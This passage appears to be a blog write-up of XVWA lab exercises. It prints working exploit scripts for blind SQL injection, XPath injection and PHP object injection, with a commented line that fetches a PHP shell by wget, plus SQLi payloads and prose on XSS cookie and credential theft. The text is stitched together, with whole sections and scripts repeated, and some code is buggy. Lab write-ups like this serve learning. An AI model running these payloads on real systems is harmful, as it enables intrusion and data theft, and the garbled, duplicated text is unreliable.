Playing with XVWA
During this time of isolation I thought that maybe it was a good time to retake some challenges. Not in the "difficulty" aspect, but maybe try to get some stuff that wasn't that hard and automate it, cleaning the dust out of some languages and vulns that I might have left as forgoten.
I had come across XVWA in the past and I thought it was nice. It contains a lot of the resources DVWA has, but also a bit more to teach you a bit more of the basics.
I didn't do them all, I went for the ones I thought were interesting and offered me game.
Error Based SQLi and Blind SQLi
=========================
For this section I wanted to find a way to obtain the names of the databases or columns automating them with Python. It would also come in handy when finding real SQL injections while testing.
The first type of SQLi didn't end up being a script from my part. I mostly used sqlmap and read through the parameters and using them to gather all the data that i could get from it.
It's just an elongation of this query:
' AND ascii(substring((Select table_name from information_schema.tables where table_schema='xvwa' limit 0,1),1,1))>97 UNION SELECT 1,2,3,4,5,6,7-- -
In that query I didn't use UNION anymore. What it does is:
That was the result of running the script for the Blind SQLi.
Because in this case, the query I showed in blue above will generate a "true" response every time a letter is higher in numeric value (hex of the ascii string) than the letter from the selected position. However, when it finds a character that doesn't conform to that statement, it will store the last selected character it rotated through and store it in the array shown in the picture.
After that, it incements the position of the letter is looking for:
substring(<table name>, 1,1),
substring(<table name>, 2,1),
substring(<table name>, 3,1)
....
XPATH
======
I wanted to do XPath as well because I was never lucky enough to find one of this vulns in real life, so aside from exploring it a bit more I also wanted to see if I could automate it.
Turns out it's slightly similar to SQLi, but it's also slightly different. So I also wrote a script to find the names of the nodes.
import requests
column_name = []
character_position = 1
def findTheChar():
for i in range(65,123):
table_letter = hex(i)
global character_position
url = "http://localhost:9090/xvwa/vulnerabilities/xpath/"
mydata = {
"submit": "",
"search" : "' or substring(name(parent::*[position()=1])," + str(character_position) + ",1)='" + chr(i) + ""
#"search" : "' or substring(name(//Coffee::*[position()=1]/child::node()[position()=1])," + str(character_position) + ",1)='" + chr(i) + ""
}
headers = {
"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Accept-Language" : "ca,en-US;q=0.7,en;q=0.3",
"Accept-Encoding" : "gzip, deflate",
"Content-Type" : "application/x-www-form-urlencoded",
}
#proxies = {"http": "http://127.0.0.1:8080"}
x = requests.post(url, headers=headers, data=mydata)
print(len(x.text))
# in the blind sqli injection one, this worked because while the character was higher, the response was true
# in this one, only when the response is true, it means that that's the character
if len(x.text) < 12000:
print("[-] Letter " + chr(i) + " is higher than the character")
print(column_name)
else:
column_name.append(chr(i))
character_position += 1
print(character_position)
print(table_letter)
print("[+] Letter " + chr(i) + " is not higher than the character")
print(column_name)
main()
def main():
character_position =+ 1
findTheChar()
main()
What this script does is check for the characters but in a different manner than the SQLi. Both scripts are very similar, but also different since their behavior is similar but different as well.
For example, this was waaay slower, since in this case it mixes uppercase with lowercase and the range of characters is broader, so grab a coffee and go read the news or something, because if your string is a long name, it will take some time.
As I said in the last section, the Blind SQLi will have each statement as true until it is false, at which point it will add the last character to an array and start anew from the next position.
Instead, this one is false until it's true. When it's true, it moves to the next position, but if the character is not the one we're looking for (a response shorter than usual), it will keep going in the cycle.
' or substring(name(parent::*[position()=1]),1,1)='C
That is the query that would let us know if the injection happened or not. In this case, that same query will return true, because the name of the parent node is Coffee.
The sructure is very similar to that of the SQL, but writen with different rules.
PHP Object Injection
================
This was my favorite vuln to explore, I think it's the one that made me read the most and offered more game. It introduced stuff like the magic functions, which were really eye opening to learn. Anyways, here's how I did it:
<?php
class PHPObjectInjection {
# public $inject = "system('/usr/bin/wget http://127.0.0.1:8000/phpshell.php');"; # TODO: make a shell
public $inject = "system('id');";
}
$serialized_data = urlencode(serialize(new PHPObjectInjection));
#stream_context_set_default(['http'=>['proxy'=>'127.0.0.1:8080']]);
# gotta chain the serialized data with url now
$url = 'http://localhost:9090/xvwa/vulnerabilities/php_object_injection/?r=' . $serialized_data; #we have to put the serialized string here
print $url;
$contents = file_get_contents($url);
if($contents !== false) {
echo $contents;
echo strlen($contents);
}
else { echo "poop"; }
?>
Maybe I could have done this script in another language, but I thought it would be fun to do it in PHP.
For starters, I had never found a PHP Object Injection, and this section really gave me a good time in terms of learning what the hell is supposed to happen at each time. Also apparently is a recurrent theme in CTFs, so that at least will be interesting.
And not everything is "hacking" related, it also taught me about the magic functions and their function further away from security.
I added some links down below for people who want to explore it. I thought about doing some explanation of it, but to be fair I already automated it and did my fair bit of reading.
Those links are very helpful :D
DOM XSS
========
Even though it says DOM XSS, I ended up exploring what else to do with XSS, that way I will be able to think of quicker situations in real life and I'll have something to come to.
Some quick points on it:
After setting up a listener, we will send ourselves the credentials when the XSS loads in the page.
I sent the login form via that XSS shown. In the image above you can see how first I loaded the page with the XSS in it.
Now the snippet fires in and it searches for the subdirectory "x", which it doesn't exist. Thankfully, we also loaded an "onerror", which conveniently has an Admin form attached to it.
Our XSS sends the login credentials to the server.
Now we are logged as admin :)
Obviously if this was real-life, it probably wouldn't serve as much. I didn't find data to send to show my PoC so I chose that, but maybe if there was the chance it would be better to find where users or admins are created and try to perform that, from which we could benefit.
Just as we load the page with the XSS in it, a new form appears. So we will fill it because now apparently it requires authentication.
And credentials are sent :D
Links
====
Blind SQLi
http://www.securityidiots.com/Web-Pentest/SQL-Injection/Blind-SQL-Injection.html
XPath
https://www.w3.org/TR/1999/REC-xpath-19991116/
https://tipstrickshack.blogspot.com/2013/11/xpath-injection-tutorial.html
PHP Object Injection
https://insomniasec.com/cdn-assets/Practical_PHP_Object_Injection.pdf
https://xerosecurity.com/wordpress/exploiting-php-serialization-object-injection-vulnerabilities/
https://www.php.net/manual/en/language.oop5.magic.php
https://code.tutsplus.com/tutorials/deciphering-magic-methods-in-php--net-13085
XSS DOM
https://pentest-tools.com/blog/xss-attacks-practical-scenarios/
https://www.aptive.co.uk/blog/xss-cross-site-scripting/
https://labs.f-secure.com/blog/getting-real-with-xss/
I had come across XVWA in the past and I thought it was nice. It contains a lot of the resources DVWA has, but also a bit more to teach you a bit more of the basics.
I didn't do them all, I went for the ones I thought were interesting and offered me game.
Error Based SQLi and Blind SQLi
=========================
For this section I wanted to find a way to obtain the names of the databases or columns automating them with Python. It would also come in handy when finding real SQL injections while testing.
The first type of SQLi didn't end up being a script from my part. I mostly used sqlmap and read through the parameters and using them to gather all the data that i could get from it.
Here all the users from the database
Databases
Tables in the database
Contents of the tables
For the Error type, the query that got it spilling information was a UNION based SQLi:
' UNION SELECT 1,2,3,4,5,6,concat(database(),system_user(),@@version)-- -
After that, I got a lot of the info I needed if I wanted to create a script for the Blind version, since I would need to know when it's failing and when it's working.
So now that I got all the info I needed from the first SQLi type (Error-based), I scripted something to be able to automate obtaining information from the Blind-Based SQLi.
' UNION SELECT 1,2,3,4,5,6,concat(database(),system_user(),@@version)-- -
After that, I got a lot of the info I needed if I wanted to create a script for the Blind version, since I would need to know when it's failing and when it's working.
So now that I got all the info I needed from the first SQLi type (Error-based), I scripted something to be able to automate obtaining information from the Blind-Based SQLi.
import requests
column_name = []
character_position = 1
#in my case all letters were lower case, but adjust as needed
def findTheChar():
for i in range(97,123):
table_letter = hex(i)
global character_position
url = "http://localhost:9090/xvwa/vulnerabilities/sqli_blind/"
mydata = {
"item": "",
"search" : "' AND ascii(substring((Select table_name from information_schema.tables where table_schema='xvwa' limit 0,1)," + str(character_position) + ",1))>" + table_letter + " UNION SELECT 1,2,3,4,5,6,7-- -"
}
headers = {
"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Accept-Language" : "ca,en-US;q=0.7,en;q=0.3",
"Accept-Encoding" : "gzip, deflate",
"Content-Type" : "application/x-www-form-urlencoded",
}
x = requests.post(url, headers=headers, data=mydata)
print(len(x.text))
if len(x.text) > 17000:
print("[-] Letter " + chr(i) + " is higher than the character")
else:
column_name.append(chr(i))
character_position += 1
print("[+] Letter " + chr(i) + " is not higher than the character")
print(column_name)
main()
def main():
character_position =+ 1
findTheChar()
main()
The main thing that this script does is goes character by character, tests if the response is longer than what it should (meaning that this character is part of the name), and if it is, it will add that character to an array and start all over.
column_name = []
character_position = 1
#in my case all letters were lower case, but adjust as needed
def findTheChar():
for i in range(97,123):
table_letter = hex(i)
global character_position
url = "http://localhost:9090/xvwa/vulnerabilities/sqli_blind/"
mydata = {
"item": "",
"search" : "' AND ascii(substring((Select table_name from information_schema.tables where table_schema='xvwa' limit 0,1)," + str(character_position) + ",1))>" + table_letter + " UNION SELECT 1,2,3,4,5,6,7-- -"
}
headers = {
"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Accept-Language" : "ca,en-US;q=0.7,en;q=0.3",
"Accept-Encoding" : "gzip, deflate",
"Content-Type" : "application/x-www-form-urlencoded",
}
x = requests.post(url, headers=headers, data=mydata)
print(len(x.text))
if len(x.text) > 17000:
print("[-] Letter " + chr(i) + " is higher than the character")
else:
column_name.append(chr(i))
character_position += 1
print("[+] Letter " + chr(i) + " is not higher than the character")
print(column_name)
main()
def main():
character_position =+ 1
findTheChar()
main()
The main thing that this script does is goes character by character, tests if the response is longer than what it should (meaning that this character is part of the name), and if it is, it will add that character to an array and start all over.
It's just an elongation of this query:
' AND ascii(substring((Select table_name from information_schema.tables where table_schema='xvwa' limit 0,1),1,1))>97 UNION SELECT 1,2,3,4,5,6,7-- -
In that query I didn't use UNION anymore. What it does is:
- Wrap everything around ASCII, for I will be comparing it to a number (97 in that case) that will be the equivalent of the alphabet letters converted into hex numbers (a == 97 in hex).
- Pick the name of the table from all the stored tables that has the name 'xvwa', which we learned from the previous SQLi, as you can see in one of the images.
- Select the first letter from the first word ==> substring(<table name>, 1,1)
- Finish the query with -- - . The last dash is optional, you can put whatever character you like -- ; or -- ) or -- @ ... as long as there is a space. MySQL needs a space to terminate the query after a --
That was the result of running the script for the Blind SQLi.
Because in this case, the query I showed in blue above will generate a "true" response every time a letter is higher in numeric value (hex of the ascii string) than the letter from the selected position. However, when it finds a character that doesn't conform to that statement, it will store the last selected character it rotated through and store it in the array shown in the picture.
After that, it incements the position of the letter is looking for:
substring(<table name>, 1,1),
substring(<table name>, 2,1),
substring(<table name>, 3,1)
....
XPATH
======
I wanted to do XPath as well because I was never lucky enough to find one of this vulns in real life, so aside from exploring it a bit more I also wanted to see if I could automate it.
Turns out it's slightly similar to SQLi, but it's also slightly different. So I also wrote a script to find the names of the nodes.
import requests
column_name = []
character_position = 1
def findTheChar():
for i in range(65,123):
table_letter = hex(i)
global character_position
url = "http://localhost:9090/xvwa/vulnerabilities/xpath/"
mydata = {
"submit": "",
"search" : "' or substring(name(parent::*[position()=1])," + str(character_position) + ",1)='" + chr(i) + ""
#"search" : "' or substring(name(//Coffee::*[position()=1]/child::node()[position()=1])," + str(character_position) + ",1)='" + chr(i) + ""
}
headers = {
"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Accept-Language" : "ca,en-US;q=0.7,en;q=0.3",
"Accept-Encoding" : "gzip, deflate",
"Content-Type" : "application/x-www-form-urlencoded",
}
#proxies = {"http": "http://127.0.0.1:8080"}
x = requests.post(url, headers=headers, data=mydata)
print(len(x.text))
# in the blind sqli injection one, this worked because while the character was higher, the response was true
# in this one, only when the response is true, it means that that's the character
if len(x.text) < 12000:
print("[-] Letter " + chr(i) + " is higher than the character")
print(column_name)
else:
column_name.append(chr(i))
character_position += 1
print(character_position)
print(table_letter)
print("[+] Letter " + chr(i) + " is not higher than the character")
print(column_name)
main()
def main():
character_position =+ 1
findTheChar()
main()
What this script does is check for the characters but in a different manner than the SQLi. Both scripts are very similar, but also different since their behavior is similar but different as well.
For example, this was waaay slower, since in this case it mixes uppercase with lowercase and the range of characters is broader, so grab a coffee and go read the news or something, because if your string is a long name, it will take some time.
As I said in the last section, the Blind SQLi will have each statement as true until it is false, at which point it will add the last character to an array and start anew from the next position.
Instead, this one is false until it's true. When it's true, it moves to the next position, but if the character is not the one we're looking for (a response shorter than usual), it will keep going in the cycle.
' or substring(name(parent::*[position()=1]),1,1)='C
That is the query that would let us know if the injection happened or not. In this case, that same query will return true, because the name of the parent node is Coffee.
The sructure is very similar to that of the SQL, but writen with different rules.
PHP Object Injection
================
This was my favorite vuln to explore, I think it's the one that made me read the most and offered more game. It introduced stuff like the magic functions, which were really eye opening to learn. Anyways, here's how I did it:
<?php
class PHPObjectInjection {
# public $inject = "system('/usr/bin/wget http://127.0.0.1:8000/phpshell.php');"; # TODO: make a shell
public $inject = "system('id');";
}
$serialized_data = urlencode(serialize(new PHPObjectInjection));
#stream_context_set_default(['http'=>['proxy'=>'127.0.0.1:8080']]);
# gotta chain the serialized data with url now
$url = 'http://localhost:9090/xvwa/vulnerabilities/php_object_injection/?r=' . $serialized_data; #we have to put the serialized string here
print $url;
$contents = file_get_contents($url);
if($contents !== false) {
echo $contents;
echo strlen($contents);
}
else { echo "poop"; }
?>
Maybe I could have done this script in another language, but I thought it would be fun to do it in PHP.
For starters, I had never found a PHP Object Injection, and this section really gave me a good time in terms of learning what the hell is supposed to happen at each time. Also apparently is a recurrent theme in CTFs, so that at least will be interesting.
And not everything is "hacking" related, it also taught me about the magic functions and their function further away from security.
I added some links down below for people who want to explore it. I thought about doing some explanation of it, but to be fair I already automated it and did my fair bit of reading.
Those links are very helpful :D
DOM XSS
========
Even though it says DOM XSS, I ended up exploring what else to do with XSS, that way I will be able to think of quicker situations in real life and I'll have something to come to.
Some quick points on it:
- Stealing cookies (the classic):
After setting up a listener, we will send ourselves the credentials when the XSS loads in the page.
- Perform activities:
I sent the login form via that XSS shown. In the image above you can see how first I loaded the page with the XSS in it.
Now the snippet fires in and it searches for the subdirectory "x", which it doesn't exist. Thankfully, we also loaded an "onerror", which conveniently has an Admin form attached to it.
Our XSS sends the login credentials to the server.
Now we are logged as admin :)
Obviously if this was real-life, it probably wouldn't serve as much. I didn't find data to send to show my PoC so I chose that, but maybe if there was the chance it would be better to find where users or admins are created and try to perform that, from which we could benefit.
- Phishing:
Just as we load the page with the XSS in it, a new form appears. So we will fill it because now apparently it requires authentication.
And credentials are sent :D
- Keylogger (didn't try the example, but it's cool to know)
Links
====
Blind SQLi
http://www.securityidiots.com/Web-Pentest/SQL-Injection/Blind-SQL-Injection.html
XPath
https://www.w3.org/TR/1999/REC-xpath-19991116/
https://tipstrickshack.blogspot.com/2013/11/xpath-injection-tutorial.html
PHP Object Injection
https://insomniasec.com/cdn-assets/Practical_PHP_Object_Injection.pdf
https://xerosecurity.com/wordpress/exploiting-php-serialization-object-injection-vulnerabilities/
https://www.php.net/manual/en/language.oop5.magic.php
https://code.tutsplus.com/tutorials/deciphering-magic-methods-in-php--net-13085
XSS DOM
https://pentest-tools.com/blog/xss-attacks-practical-scenarios/
https://www.aptive.co.uk/blog/xss-cross-site-scripting/
https://labs.f-secure.com/blog/getting-real-with-xss/
Comments
Post a Comment